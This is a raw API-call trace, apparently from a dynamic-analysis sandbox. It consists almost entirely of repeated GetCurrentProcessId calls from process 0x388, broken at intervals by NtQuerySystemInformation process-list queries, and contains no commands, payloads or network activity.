GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.681] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0130.682] GetCurrentProcessId () returned 0x388 [0131.291] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cfe8) returned 0x0 [0131.299] GetCurrentProcessId () returned 0x388 [0131.299] GetCurrentProcessId () returned 0x388 [0131.299] GetCurrentProcessId () returned 0x388 [0131.299] GetCurrentProcessId () returned 0x388 [0131.299] GetCurrentProcessId () returned 0x388 [0131.299] GetCurrentProcessId () returned 0x388 [0131.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cde8) returned 0x0 [0131.861] GetCurrentProcessId () returned 0x388 [0131.861] GetCurrentProcessId () returned 0x388 [0131.861] GetCurrentProcessId () returned 0x388 [0131.861] GetCurrentProcessId () returned 0x388 [0131.861] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.862] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.863] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.864] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0131.865] GetCurrentProcessId () returned 0x388 [0132.429] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1caf8) returned 0x0 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.433] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.434] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.435] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0132.436] GetCurrentProcessId () returned 0x388 [0133.018] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cca8) returned 0x0 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.034] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.035] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.036] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.037] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.038] GetCurrentProcessId () returned 0x388 [0133.607] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cca8) returned 0x0 [0133.702] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.703] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.704] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.705] GetCurrentProcessId () returned 0x388 [0133.706] GetCurrentProcessId () returned 0x388 [0133.706] GetCurrentProcessId () returned 0x388 [0133.706] GetCurrentProcessId () returned 0x388 [0134.234] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cca8) returned 0x0 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.237] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.238] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.239] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.240] GetCurrentProcessId () returned 0x388 [0134.833] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x131358d0, Length=0x20000, ResultLength=0x1b88ef40 | out: SystemInformation=0x131358d0, ResultLength=0x1b88ef40*=0x1cea8) returned 0x0 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 [0134.836] GetCurrentProcessId () returned 0x388 